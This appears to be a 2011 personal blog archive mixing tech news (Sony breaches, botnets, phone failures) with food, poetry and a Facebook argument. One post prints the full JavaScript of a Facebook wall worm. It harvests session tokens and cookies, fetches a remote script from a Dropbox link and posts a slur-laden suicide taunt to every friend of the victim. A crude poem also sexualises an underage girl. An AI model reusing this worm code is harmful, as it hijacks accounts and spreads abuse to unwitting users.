Tuesday, May 31, 2011

I disappeared, Sorry.

Sorry I've disappeared for a couple days. I'm in the middle of a big move, and I'm also helping my girlfriend get her blog started up for her trip to Thailand to do student teaching. So in short, if you wanna complain...

Monday, May 30, 2011

Yeah, we're just that cool

Leave your skype name in comments if you wanna join in the shenanigans!

Saturday, May 28, 2011

Rogue "Antivirus", Security tools, and Botnets. OH MY!

It seems that ever since 2000, "virus" and malware creators have been getting more and more advanced at their deployment use of botnets. It used to be viruses would be used fun or bragging rights in getting your name out, like the Bubbles virus back in the Dos 6.22 days, which would add bubbles ( )o o() to all of your commands. The Stoned virus goes even further back to 1987, and gifted those it infected with a one in eight chance to see the message "Your PC is now Stoned!" on startup,  also writing the words "legalize marajuana" to your bootsector.

Viruses and Malware have come a long way from those primitive startups, evolving into the malware now called rogue security tools or fake/rogue antivirus programs. These programs no longer splash their creators political views on the screen, but instead hijack your computer and refuse to allow you do anything with the computer.

While most people understand that these fake antivirus attacks are mostly just a ploy to steal credit card information from the victims, many have no idea that these often tie the computer into a much bigger syndicate of crime.

Enter the world of the Botnet. Botnets are created by using programs or pieces of code that report back to a server (called the C&C, or Command and Control server) and can do anything from steal banking information (Zeus) to stealing passwords, redirecting your browsing through the attacker's computers, or even launch DDoS attacks on companies like Sony.

These botnets can vary in size and intention, but the basics are the same. (Click here to learn more about botnets) They allow the attacker to do whatever they choose, and most of the time you won't even know it's being done. The solution? Start with a good antivirus (I recommend Kaspersky Pure Total Security or Kaspersky Internet Security) and then add a little bit of good internet common sense.

Friday, May 27, 2011

These guys think they're superheroes... And I do too.

QR codes in the strangest places

QR codes are now being installed on...cemetery headstones.
That's right: you may be wandering a cemetery soon and spot a QR code on a tombstone, protected behind glass so it is weather-impervious. Scanning the code with your phone will bring up a Web obituary so you can learn about the person buried in that plot.
Monumxxfgfgfxxent qr 2
The company responsible for this, Rochester, Minn.-based Funeral Innovations, specializes in high-tech tools for funeral homes.


This is an amazing example of how technology is taking things to the next level. Interactive websites associated with the ones you love. I can only imagine how incredible it might be to be able to go and see your loved ones that have passed on, scan a QR code, and have a video of one of their most memorable moments pop onto your phone. This could easily add a "life after death" legacy.

Thursday, May 26, 2011

China defense minister admits cyber-army

China admits for the first time that it has an elite unit of cyber warriors in its army, as an intelligence source tells Channel 4 News the threat is real, potent, and will be utilised in warfare.
China admits cyber warfare army unit (Getty)http://www.channel4.com/news/china-admits-cyber-warfare-unit

I love how channel4 is trying to make something that has been general knowledge for years to anyone doing IT sound like it's something new. Oh no! China has a cyber army. So does the USA. So does Russia. What do you think the NSA is? The news seriously needs to stop being so fanatical.

Wednesday, May 25, 2011

Ode to Rhino's Sister

You graced my life, as your bro cam'd with us.
Doing his laundry, we demanded your bust.
Alas we found, unfortunately.
That your little ass was not yet eighteen.

Thank you everyone that was on Skype or Tinychat last night. LoLs were had by all. Join us again next time :)

Epic new banner

soo.. I had KillerKun helped me out with recreating my banner, and it looks epic. So I gotta plug KillerKun @ www.killerkun.com.

That's the regular size, click thru to see all the details on it.

Tuesday, May 24, 2011

Epic pancakes

Yeah... That's 12 layers of pancake. Alternating layers of syrup and butter make sure these paper thin fluffy cakes go down smooth.

Monday, May 23, 2011

Going back to college, p1

Recently, I've been thinking about going back to college, as the education I already have isn't really helping me find a job in the current job market. That's really the sad part about the market today, especially in technology. I have 3+ years in Systems Administration, 8+ years in building and troubleshooting workstations and systems, and 2+ years designing and maintaining small networks and small business networks. All that experience, and I can't even land a solid position in the CIS/IT field. It seems that all the low-level positions are being filled by the trickle-down of downsized positions and experienced professionals that are now considered "unnecessary" due to the fact that they know what they are doing and expect to be paid as such. Don't think this is true? Take a look at my documenting the Sony hacks. Sony laid off most of their senior staff and brought in kids fresh out of college or tech school and expected the same quality of work.
I'm sorry, but this isn't how the work force is supposed to be formed. You're supposed to have experienced workers in charge, and have the pencil pushers and those who lack experience being subordinate to the experienced, not managing the experienced while having no earthly clue as to how anything actually works in the business.

Friday, May 20, 2011

Update on Samsung Continuum Verizon Win?

Leaving off from the last post, I have to give Verizon a couple of Win points here. They overnighted me a brand new Samsung Continuum, and gave me a credit on my account for the days where I was without a phone. The new Continuum is working great. +1 Verizon.

In other news, sources around the web are claiming that Verizon is going to be doing away with their Unlimited Data Package. My sources at a Verizon call center have heard nothing about it, other than the top 5% of users might be given the option to bump up to a different tier. I'll update you soon.

Phishing site found on Sony servers

Security researchers have discovered a phishing site running on Sony's servers A fraudulent site running off the hdworld.sony.co.th domain is targeting an Italian credit card company, F-Secure reports The incident means that another Sony property, in this case its Thai website, has been hacked. The incident is nothing like as serious at the PlayStation Network hack last month, which exposed the personal details of 77 million gamers. But it's still a very poor do, especially after Sony went to great pains to reassure everyone that it was tightening up security controls across the board in the wake of the PSN hack and a separate problem involving its online store F-Secure

Time to start making fun of people...


Possibly the greatest site ever...

Thursday, May 19, 2011

The most epic burrito ever

Dubbed "the gutbuster" this burrito from big city burrito is just amazing.

Here's the rundown on ingredients:
2 Jalapeno Cheddar tortillas
~2 cups diced deep fried potatoes with special seasonings
Wild rice
Black beans
2 scoops Carne Asada steak
1 scoop shredded pork
Hot Pico
Green Sauce
Sour Cream
Chipolte Ranch

Eat one of these bad boys in 5 minutes and you get yourself a t-shirt. Thank you Big City Burrito!

Apple to users, Sorry... We don't help with malware

New house!

Finally starting to get unpacked and settled in at the new house, and just in time. Its been raining for 3 days and from what I hear the old basement apartment I used to live in is flooding. I'll take more pictures once everything is set up.

Wednesday, May 18, 2011

Update on Samsung Continuum fail

I did a little more research on the Samsung Continuum Fail that I had last posted about, (see http://in50mn14c.blogspot.com/2011/05/verizon-fail.html ) and found some further interesting information.

Seems that the recovery partition on most Samsung phones does not include a recovery for the radio portion of the phone. Thus, if your phone is messed up during an update or any upgrade to the radio/baseband, the phone is permanently bricked. It seems as though this is a safety measure implemented by most cell phone providers so that if anything goes wrong with the phone the phone must be either 1.) replaced or 2.) returned to the provider for repair.

What happened to making sure products were actually ready for market before releasing a product? How about stepping up your Samsung Development so user-based development like XDA isn't needed?

Tuesday, May 17, 2011

Verizon & Samsung Fail

Sorry I haven't been posting much. My Samsung Continuum decided to fry it's WiFi radio & 3G radio, so I can't post the things I hear about out in the world currently.

So here's the story, Verizon pushes a software update to my phone. I make sure there's plenty of time to finish, since I was praying for the Android 2.2 update that's been promised to Continuum users since October. I do the update, phone reboots, and the Samsung screen lights up. I hear the typical little jam, and the Verizon chime. And then nothing... The Verizon Animation continues... and continues... AANNNDD CONTINUES...

3 hours later, I do a battery pull and wipe the cache in recovery to see if that will allow the phone to boot. No such luck.

At this point I pretty much hate my life. I have important data in the SMS that I haven't backed up, I have all the apps and data in my phone facing an imminent wipe. FML. I boot into recovery, do a factory wipe and reset. Phone comes back on, takes 10 minutes, but the Verizon screen goes away. I start the setup and linking with my Google account, and it tells me I have no data connection and to connect to WiFi. I attempt to connect to my WPA2 WiFi, and it asks me for a hex key and user name. It thinks my WiFi is WEP encrypted, not WPA2. So the factory reset that Verizon forced into the phone (with all their Bing crap intact) has fried not only my WiFi radio, but my 3G radio as well.

Who hires the people who do the programming for these phones? And who the heck is doing the QA?

Saturday, May 14, 2011

Amazon EC2 servers source of PSN hack

The hackers who breached the security of Sony's PlayStation Network and gained access to sensitive data for 77 million subscribers used Amazon's web services cloud to launch the attack, Bloomberg News reported.
The attackers rented a server from Amazon's EC2 service and penetrated the popular network from there, the news outlet said, citing an unnamed person with knowledge of the matter. The hackers supplied fake information to Amazon. The account has now been closed.
Neither Sony nor Amazon commented on the claims.
Bloomberg doesn't say how Amazon's cloud service was used to mount the attack. If the report is correct, it wouldn't be the first time it's been used by hackers.


Blogger fail - New hosting?

Since Blogger has been unavailable I've been evaluating other options for hosting my blog. Problem is, Google has us so spoiled with the Blogger interface that it'd be a huge learning curve to work with anything that was much more hands on without making huge time investments. Wordpress might be an option, but finding a proper host and getting a domain registered seems to be a hit or miss sort of deal. Anyone have any advice on hosting and domain registration?

Friday, May 13, 2011

Sony letter to publishers

The frustration regarding the PlayStation Network outage and a subsequent lack of information on when it will be restored has put fans and industry insiders alike on edge.

As most know by now, on April 20, Sony took the PlayStation Network offline after a hacker infilitrated its database and illegally accessed the account information of nearly 80 million user accounts. Its other networks, Qriocity and Sony Online Entertainment, have also been hacked and subsequently shut down. Since then, many would argue Sony has not dished out enough information regarding the outage, what is being done to fix it and when it will come back up.While fans are getting notably angry, and some are threatening to switch over to PS3 rival Xbox 360, it is the video game publishers that stand to lose the most.Industrygamers.com received a etter that Sony sent to an anonymous publisher. In the letter, Sony's vice president of publisher relations, Rob Dyer, told the publishers that Sony will keep the lines of communication open with these publishers and will do everything in their power to support them.

He also said Sony is working with the FBI to find out the culprits who hacked into the servers. After that, Dyer didn't give much in the way of specific information. The entire letter is below.


Thursday, May 12, 2011

Facebook gets Owned by new worm

Last night, Facebook experienced yet another wall based worm that propagated itself via the facebook wall. The post reads as follows:

"Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.

The worm activated itself when users clicked on the X to remove and report the post, or on the remove this app link located under the post. Upon activation, the worm would replicated the specially formed message to the facebook walls of all friends of the user. Facebook quickly swept into action and quarantined the message, but sadly did nothing to either disclose that the hack happened, or explain to users of Facebook mobile that these messages were fake.

The following is the code that was used to spread the message @ http://pastebin.com/A6t4Xf1M

Inside last night's facebook worm

The following is the code used to circulate the worm last night, also available @ http://pastebin.com/A6t4Xf1M if you prefer line indicators.

var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false); 
if(gf.readyState!=4){ }else{ 
 data = eval('(' + gf.responseText.substr(9) + ')'); 
 if(data.error){ }else{ 
  friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
for(var i=0; i<friends.length; i++){
 var httpwp = new XMLHttpRequest();
 var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
 var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
       "&post_form_id=" + post_form_id + 
       "&fb_dtsg=" + fb_dtsg + 
       "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) + 
       "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) + 
       "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + 
       "&user_message=" + message;
 httpwp.open("POST", urlwp, true);
 httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 httpwp.setRequestHeader("Content-length", paramswp.length);
 httpwp.setRequestHeader("Connection", "keep-alive");
 httpwp.onreadystatechange = function(){
  if (httpwp.readyState == 4 && httpwp.status == 200){

alert("Failed to remove. Go fuck yourself with a cactus.");
document.location = "";

So my friends are kinda retarded...

[12:35:50 AM] Samantha ______: oh my god. so i have to tell you about what just happend. I was laying here watching glee on hulu. and this fucking huge moth comes up. and gets all up in my screen. and i'm like, alright you little fucker. I'll get you soon. so. show ends. i hear the moth behind me. i look at the wall. and i see it...so. i grab a stuffed animal. and hit the fucker across the room. and i'm like. alright. it's dead. a second later. the thing attacks me from the opposite side of the room where i hit it and starts going for my head. I screamed. The end.

Tuesday, May 10, 2011

Storm Chasing

It's about that time again. Can't wait for the storms to start poppin off so I can get some new pics to share.

85% of grads move back home

Surprise, surprise: Thanks to a high unemployment rate for new grads, many of those with diplomas fresh off the press are making a return to Mom and Dad's place. In fact, according to a poll conducted by consulting firm Twentysomething Inc., some 85% of graduates will soon remember what Mom's cooking tastes like.
Times are undeniably tough. Reports have placed the unemployment rate for the under-25 group as high as 54%. Many of these unemployed graduates are choosing to go into higher education in an attempt to wait out the job market, while others are going anywhere — and doing anything — for work. Meanwhile, moving back home helps with expenses and paying off student loans.
The outlook isn't sunshine and roses: Rick Raymond, of the College Parents of America, notes, "Graduates are not the first to be hired when the job markets begins to improve. We're seeing shocking numbers of people with undergraduates degrees who can't get work."


Sunday, May 8, 2011

Shall we mix it up a little?

I've noticed for the last couple of weeks that I've been posting nothing but negative news and angry stories. Time for a little sharing and relaxation. Time to mix up a couple of my favorite shots and remind people what's outside while we're in here typing on our computers.

Saturday, May 7, 2011

The sony fails keep coming

Sony said on Saturday it had removed from the Internet the names and partial addresses of 2,500 sweepstakes contestants that had been stolen by hackers and posted on a website, and said it did not know when it could restart its PlayStation video games network.     The company, under fire since hackers accessed personal data from about 100 million user accounts of its PlayStation Network and PC-based online gaming services, said in a statement details posted on the inactive website also included three unconfirmed e-mail addresses.
The data came from customers who entered a 2001 product sweepstakes contest. The list did not include information on credit cards, social security numbers or passwords.
"The website was out of date and inactive when discovered as part of the continued attacks on Sony," Sony said, adding that the company took the website down shortly after finding out about the postings on Thursday.     Sony Chief Executive Officer Howard Stringer apologised on Friday to users of the firm's PlayStation Network and other online services, breaking his silence on the massive data breach.     The company said last Sunday that it would begin restoring services within the week but a spokeswoman said on Saturday this would not be possible, and that no date had been fixed for when services would resume.


So evidently Sony, after 2 break-ins this week alone, didn't stop to think "Hey, maybe it's time to do a full security audit." As a CIS/IT professional, it makes me rather sick. Sony, if you need someone to point the finger at for all these hacks, please remember that while you're pointing 1 weak finger @ "Anonymous" you're pointing 3 right back at yourself for failing to maintain industry standards and properly secure your assets. It'd be like Obama taking the gates out @ the White House then wondering why there were protesters right outside the door instead of a couple hundred feet away.

Thursday, May 5, 2011

More details on the sony fail, AnonOps taunts Sony accusations

Data security expert: Sony knew it was using obsolete software months in advance
May 4, 2011 11:15 AM
Dr. Gene Spafford testifying in Washington
this morning.
In congressional testimony this morning, Dr. Gene Spafford of Purdue University said that Sony was using outdated software on its servers—and knew about it months in advance of the recent security breaches that allowed hackers to get private information from over 100 million user accounts.
According to Spafford, security experts monitoring open Internet forums learned months ago that Sony was using outdated versions of the Apache Web server software, which "was unpatched and had no firewall installed." The issue was "reported in an open forum monitored by Sony employees" two to three months prior to the recent security breaches, said Spafford.
Spafford made his comments in a hearing convened by the House Subcommittee on Commerce, Manufacturing, and Trade. Sony was invited to participate in the hearing, but declined to attend. In a letter to the committee, Sony said it has added automated software monitoring and enhanced data security and encryption to its systems in the wake of the recent security breaches.
"If Dr. Spafford's assessment is accurate, it's inexcusable that Sony not only ran obsolete software on servers containing confidential data, but also that the company continued to do so after this information was publicly disclosed," said Jeff Fox, Consumer Reports Technology Editor.

Translation - We knew we were using outdated and exploitable software, but it's not our fault we set ourselves up as the biggest honeypot on the internet, while having ABSOLUTELY NO SECURITY.

Best part is the other part of what Sony said in the hearings... They accused "Anon" of doing the hacks. Yes, the same Anon that can't even properly Dox anyone anymore.

Anon's response?

Sunday, 24 April 2011We didn't do it; Sony incompetent

AnonOps Communications: We didn't do it; Sony incompetent

More details on the sony fail

Wednesday, May 4, 2011

Why do smart kids grow up to be heavier drinkers?
A pair of new studies suggests a correlation between intelligence and a thirst for alcohol. What's the connection?

POSTED ON OCTOBER 26, 2010, AT 1:11 PM

More likely to tipple in the future? Photo: Corbis SEE ALL 23 PHOTOS

Best Opinion: Psychology Today, Food & Wine Blog, The Frisky

Don't worry, all that excessive drinking is just a sign of your intelligence. According to two long-term studies — oneAmerican, one British — there's a correlation between smarts and a thirst for alcohol. The "more intelligent children in both studies grew up to drink alcohol more frequently and in greater quantities than less intelligent children," says Liz Day atDiscover. Why might this be the case?

It's all about evolution: Drinking alcohol was "unintentional, accidental, and haphazard until about 10,000 years ago," says Satoshi Kanazawaat at Psychology Today. Smart people are generally early adopters and, in the context of human history, "the substance [alcohol] and the method of consumption are both evolutionarily novel."
"Why intelligent people drink more alcohol"

Alcohol makes up for boring early years: "I'm surprised" by the findings, says Joanne Hinkel at The Frisky, so "here’s my pop-psychology theory" to explain it: "All that studying in childhood repressed kids so much that they’re still trying to compensate well into adulthood for all that fun they missed." Granted, that's just a theory.

"Brain types booze more — are you surprised?"

Drinking is the only way to deal with morons: Smart people "booze so we can tolerate everyone else," says Greg at Food & Wine Blog. When sober, we tend to "take people’s responses at literal face value." But after a few drinks, "we can relax a bit, stop being so anal with semantics and let comments slide a bit."

"Speculative reasons why smart people drink more"

- http://theweek.com/article/index/208561/why-do-smart-kids-grow-up-to-be-heavier-drinkers

This totally explains my Alcoholism through my college years.

Tuesday, May 3, 2011

Sony hacked again, before PSN is back, Insiders to blame?

It’s bad news piled on top of bad news for Sony.
Hackers may have stolen the personal information of 24.6 million Sony Online Entertainment users, the company said on Monday. More than 20,000 credit card and bank account numbers were also put at risk. This is in addition to the recent leak of over 70 million accounts from Sony’s PlayStation Network and Qriocity services.
“We are today advising you that the personal information you provided us in connection with your SOE account may have been stolen in a cyberattack,” Sony wrote in a statement on its website on Monday.
Sony Online Entertainment is a division of the company that publishes online multiplayer games like the recently released DC Universe Online. Sony turned off all SOE game services Monday after it learned of the intrusion.
Sony said that the compromised personal information includes customers’ names, addresses, e-mail addresses, birth dates, gender, phone numbers, logins and hashed passwords.
Also at risk are the credit card numbers and expiration dates of 12,700 non-U.S. customers, plus 10,700 direct debit records from customers in Austria, Germany, Netherlands and Spain, containing bank-account numbers, customers’ names and addresses. This information was stored in what Sony said was an “outdated database from 2007.”
Hackers may have had this information for more than two weeks now. The intrusion occurred April 16 and 17, Sony said.

Sony hacked again, before PSN is back

As part of a strategic decision to reduce costs and streamline its global workforce, SOE announced today that it will eliminate 205 positions and close its Denver, Seattle and Tucson studios. As part of this restructuring, SOE is discontinuing production of The Agency so it can focus development resources on delivering two new MMOs based on its renowned PlanetSide and EverQuest properties, while also maintaining its current portfolio of online games. All possible steps are being taken to ensure team members affected by the transition are treated with appropriate concern.
This strategic decision will have no impact on SOE's current portfolio of live games; additionally SOE will transition development efforts for the Denver and Tucson studios’ suite of products to its San Diego headquarters. This strategic alignment of development resources better positions SOE to remain a global leader in online gaming and deliver on its promise of creating entertaining games for players of all ages, and servicing the 20 million players that visited SOE servers in just the past year.

Sony to lay off 250 jobs in Sony Online Entertainment

When Sony finally admitted that the PSN shut down was the result of an “external intrusion” to their network, and not just the result of “widespread outages” as was first reported, my first thought was that Sony had been hacked by a small group of teenagers who carried out the act from the basement of their parent’s home. That is, after all, the general description of hackers given to us by today’s mainstream media.
As the days went by that first impression of who the dastardly hackers are that were responsible for the attack began to change because of some of Sony’s own statements. While Sony has not commented on who they think is responsible, there are some signs that seem to point to this hack being an inside job.
While browsing through the PSN hack Q&A posted on the PlayStation Blog one answer jumped out at me as being a little strange.
Q: What steps is Sony taking to protect my personal data in the future?
A: We’ve taken several immediate steps to add protections for your personal data. First, we temporarily turned off PlayStation Network and Qriocity services and, second, we are enhancing security and strengthening our network infrastructure. Moving forward, we are initiating several measures that will significantly enhance all aspects of PlayStation Network’s security and your personal data, including moving our network infrastructure and data center to a new, more secure location, which is already underway. We will provide additional information on these measures shortly.
Initially this sentence made me chuckle because I had this mental image of Jack Tretton and Kevin Butler frantically trying to secure Sony’s servers by personally carrying them down the street to their new location. After the laughter subsided it occurred to me that moving the physical location of the data center didn’t make much sense when dealing with an outside threat.
If Sony had really been the target of an “external” hack, wouldn’t it make more sense to concentrate on securing the network rather than actually moving the physical location of the equipment? After all, the whole benefit to the hacker from making their attack from the outside is that it doesn’t really matter where the physical location of the server is. They can just kick back in Mom’s basement and carry out the attack from there.
Then when thinking about other statements Sony has made things really started to not add up. For example, the day that Sony found the hack, they shut down the services and brought in outside experts to figure out what went down. Now I’m sure there are many reasons to bring in outside people to look at the situation, but why do this on that very first day? Wouldn’t it make sense for Sony to have their own people try and figure out what happened before turning things over to some outside agency? That is, of course, unless there was some suspicion that the threat was still at the company.


Of course this could be a crazy coincidence, but many sites are reporting that Sony iced ~ 200 employees from ... get this -- their online (SOE) division! Whaaat? Really?
Come turnover time, March 31st, 2011, Sony issued 2-week notice layoffs and if you look at a calendar two weeks later is around the same time Sony shut down shop ... give or take a few days.
Out of 200 online now ex-employees, I'm sure someone would have the necessary know-how to pull this off. Very possible, but again it's circumstantial.

Blogs and syndicated news suggesting that the laid off employees may have aided in hacks

So it looks like the initial Sony hacks may or may not have been facilitated by employees that were to be laid off, but if you think about it, laying off mass numbers of employees would easily explain the shoddy security that was enacted on the PSN network, and how these hacks could be completed without detection. I'm starting to see Sony as a barebones crew of 20-something "Security Experts" that are fresh out of college, while they're laying off all the senior security experts that actually knew all the flaws/vulnerabilities that were ingrained in the PSN and SoE systems. The Seniors would have known that the systems needed patching and monitoring, but the newbies would have their amateur ignorant bliss would assume that the systems are completely secured and patched before they were handed over into their incompetent hands.

But what do you think after reading these articles?

Monday, May 2, 2011

OSAMA (Not Obama) is dead. Who cares?

So Osama is dead. Whoopie. This opens the floodgates to the shitshow that is the American Populous. I am so embarrassed for our entire society, especially when watching the shit that's been said on facebook. For example: (Some names have been changed to protect the retarded. Others I left in because they deserve the shit they may get, and they actually think they understand what's going on. I even gave you half of my name ;))

[GIRL 1]
Let's bring our troops home now
13 hours ago
5 people like this.
[ME, Kyle] HAHAHA, Good luck on that. The release of this information is obviously being used to smooth over the fact that we're prepping for escalation of the efforts in Libya.
13 hours ago
Neil Flim Sørensen I don't think anyone is using this info to smooth anything. We're all really happy. The efforts on terrorism will still happen as long as there is terrorism.
13 hours ago
[GIRL 1] And this is still good news. and ten years seems too long
13 hours ago
[ME, Kyle] This is something I posted in a big debate - It's an obvious political move that's being timed due to the negative PR related to the Libya situation escalating. This was more or less exactly the reaction from BBC and AlJazeera. If Bin Laden was taken out in a small tactical attack, there's no way the branches of the armed forces would allow the information to leak until they had gathered all intel and followed all leads that were produced from the raid. Announcing it all immediately, for all intents and purposes, would be counterproductive and foolhardy.

I agree it's good news, but i think it's giving the american public a fake feeling of 1.) confidence and 2.) closure. I'm seeing "So bring home the troops" statuses, which show how ignorant people truly are. We haven't been actively searching for Osama for probably 5 years.
13 hours ago
[GIRL 1] I think you are ignorant by saying that these posts about bringing the troops home comes from ignorance
13 hours ago
Jason McCormick Wow. You know, I'm pretty sure [GIRL 1] has the right to post about bringing the troops home EVERY DAY for her status if she so chooses because she has so much more a stake than the rest of us. And for the record, it's hard to believe that someone can be so jaded as to make the elimination of a horrid, murderous beast sound like a conspiracy. WTF, man. Give her a moment of hope.
13 hours ago • 3 people
Andrea Romano Oh snap!
13 hours ago
[ME, Kyle] Don't get me wrong, it'd be amazing to be able to bring the troops home, but instead we've dug ourselves in on 3 fronts (Iraq, Afghanistan, and now Libya.) Us killing one person is not going to magically fix any of those situations any more than catching Saddam fixed Iraq.

I'm sorry, but realism is necessary in political and military situations.
13 hours ago
[GIRL 1] We are being realistic. It's about realizing that though this may be one kill, it is still a big step.
13 hours ago
Jason McCormick [GIRL 1] has to deal with the "realism" of this conflict every day. This isn't just a blog post debate to her. She's not trying to win some stupid debate or delude herself into believing in something false. She's trying to hope that the love of her life can remain safe. You know, a little sympathy, empathy, and hope can actually make a difference in a world like this.
13 hours ago
[ME, Kyle] Really? You think that taking out a figurehead that did practically no planning for the last 10 years somehow puts us one step ahead? Bin Laden prided himself on his splinter structure that would allow everything to continue even if he or any leader was taken out. Thinking that Bin Laden matters is kinda like thinking the American government would fall apart if Obama was shot and killed. Or that the head of the CIA dying before stepping down would shut down the CIA.
13 hours ago
[GIRL 1] We have been in a war for ten years because of the planning he did ten years ago. THat is enough of a reason. Yes it is a splintered system and others will continue in his wake, but this is still a step in the right direction. Terrorism doesnt stop with one death, but this is still a big step.
13 hours ago
[ME, Kyle] The problem is, we have effectively martyr'd him and instigated further attacks. Honestly, I think it's kinda stupid that we even announced it rather than just keeping his body rotting in a back room forever.
13 hours ago • 1 person
[GIRL 1] Or how about this gives light to the fact that all the fighting that all the soldiers have done hasn't been in vain
13 hours ago
Shane McCormick So they waited to kill Osama to smooth over a military operation that is being internationally supported? That is not realistic. They don't have to. Thats realism. Own your political view point, otherwise you are a conspiracy theorist, and nobody takes them seriously. Both Ideal and Real views are important. There is a balance in there somewhere. But even if the news is being taken
12 hours ago
Shane McCormick advantage of by the administration, it does not take away from the importance of it. This is a huge turning point no matter what.
12 hours ago
[ME, Kyle] Evidently you need to take some reading comprehension reviews. I stated that they waited to release this information. Reading what I said properly nullifies everything you just said. Yes, it's cool that he's dead. I'm stating that it's stupid that everyone is believing that 1.) Bin Laden died today and 2.) That it changes anything aside from us finally getting him.

This is no turning point. Any military venture is an uphill battle, and believing that this is going to do anything except intensify hatred from the USA and the troops is nothing but false hope.
12 hours ago
[GIRL 1] [Kyle] all I can say is that I am thankful you are not a soldier
12 hours ago
Shane McCormick Hatred from? I can see that.
12 hours ago
Jason McCormick You never 1) posted anything about people believing that he died today in this thread, and 2) you're wrong because it does change some things, both domestically and abroad. Even if it is being used as political capital, it still changes certain aspects of how we talk about this war. Your assertion that Bin Laden was only a figurehead is disrespectful to the hundreds of people who died due to his planning. You show disrespect to the military who managed to complete this task without suffering a causality, and you show disrespect to a really nice girl who is simply stating that she wants troops, including her fiance, home safe. Be a tool on your own time.
12 hours ago
[ME, Kyle] You wanna hear the funny part? These are the views that were given to me by all the military friends I've been talking to all night since this was announced. One of my marine buddies was extremely pissed because this information was released, because it means that his patrols for the next 3 months just got that much more heated. But I guess it's good that I'm posting completely baseless comments right?
12 hours ago
Jason McCormick No one said anything about your points being baseless. From the beginning, you've misinterpreted [GIRL 1]'s post to have ANYTHING to do with you, and it doesn't.
12 hours ago
Andrea Romano You're right, [Kyle] . You are proof that the entire world is fucked. Bravo. You get a gold star.
12 hours ago
Shane McCormick Nobody said they were baseless. I can understand acknowledging that there is still a mess globally, but it seems that almost everyone is pretty much in agreement that this is a good thing. When the nation can celebrate and feel some sort of relief, despite political affiliation or views, it is a good thing. There is an impact socially. And thanks for the personal dig, btw. For that- you sound silly.
12 hours ago
[GIRL 1] and [Kyle] if you want to be pissed and believe what you want that is your perogative, but that has not a fucking thing to do with why I posted what I posted. My post has to do with the fact that the love of my life is a soldier and I want him safe, not to feed into your conspiracy theory.
12 hours ago
[ME, Kyle] My main point in all my comments are to bring to light that this is going to cause more problems for the troops, not close a chapter and make things all rainbows and unicorns for them. God bless every one of those troops, God knows they'll need the extra help in the coming months.
12 hours ago
[GIRL 1] They have always needed help.
12 hours ago
[GIRL 1] and support
12 hours ago
Jason McCormick He's done it! He's actually done it! He's successfully transitioned from conspiracy theories to blessing the troops! Ladies and gentlemen, we have a new candidate for the 2012 elections! Whooo!!!! Seriously though, it's getting silly up in here, don't you think?
12 hours ago
[GIRL 1] Agreed Jason.
12 hours ago
Andrea Romano He's a uniter, not a divider.
12 hours ago
Christopher Butler [GIRL 1], I hope your man is safe and sound, but don't get me wrong, I think [Kyle] brings up some significant points. 1) The news of Osama's death is going to spur insurgents and terror cells to carry out missions. 2) This one man was a figurehead. He did die a martyr and the media is inciting a hornets nest by the coverage. I did serve in the military and think that this isn't the best news in the world. I think it will actually now get a lot more hairy for the guys on patrols in Afghanistan and Iraq. I think just to dog the guy for making an observation is a bit unfair. I think we all want the war to end, but this doesn't end it. Unfortunately, it may have just made it worse...
30 minutes ago

So it's official. Not only am I a troll that will not stand stupidity or shortsightedness, but I officially have to throw in my bid for the 2012 election. If I can get glaring nominations from people I troll on facebook, how well do you think I could do debating vs Obama & whoever the Repubs can pull in?

Sunday, May 1, 2011

North Korean BBQ Mixtape | Mac Lethal

North Korean BBQ Mixtape | Mac Lethal

In the Midwestern region of the country, we feel the seasons much more intensely than the rest of the world. As I type this, it is 40 degrees outside. Last night it was 33 degrees outside. Yesterday it was 90 degrees outside. This type of unpredictable shifting in weather and city-vibe can deeply affect people's emotions and overall feelings about life and such.

I guess this mixtape was an exercise in keeping myself sane during the dark, bitterly cold Kansas City winter months. Mostly chronicling and processing an extremely serious, devastating breakup, the overall feeling of sadness about loss and aging, the constant struggle we all face with vices and exogenous substances, and accepting emotional, mental and physical damage (whether self-inflicted, or done by someone else.)

North Korean BBQ is for old souls. People 30+ (figuratively and literally.)

The title, however, is a reminder for me and all of us, that no matter how hard life can seem. We are all very fortunate people to live where we live. In Kansas City, when we get lonely or depressed, we go gorge ourselves on delicious, molasses-based BBQ. In North Korea, they don't get lonely or depressed. They don't choose feelings or thoughts. North Koreans don't eat BBQ. They eat octopus skin and fried white corn. I was looking through audio clips from old North Korean documentaries to mix in with the music, but honestly, I felt like I was being lighthearted about their situation, which is greatly serious.

I must remind you of something, though: THIS IS NOT A POLITICAL PIECE OF MUSIC. NO!

This is NOT a political statement, but an examination on the self-entitlement we feel while bathing in our own excess and drama. I'm sorry your boyfriend broke up with you, but treasure the good times you did have. Bump this mixtape as a way to help push those negative, volatile emotions out, BUT...always remember that below the surface, life is truly a beautiful, pleasant work of art for some of us. Unfortunately it takes looking at other people's situations to realize that sometimes.

Shouts to everyone oppressed by Kim Jong-il. I wish we could help. Holler fool.


released 04 April 2011
ALL lyrics written, recorded etc. by Mac Lethal
Mastering by Jay Tigg
Artwork by Adeolu Adebayo
Hugs/kisses, thugs/dishes, bugs/kitchens, drugs/bitches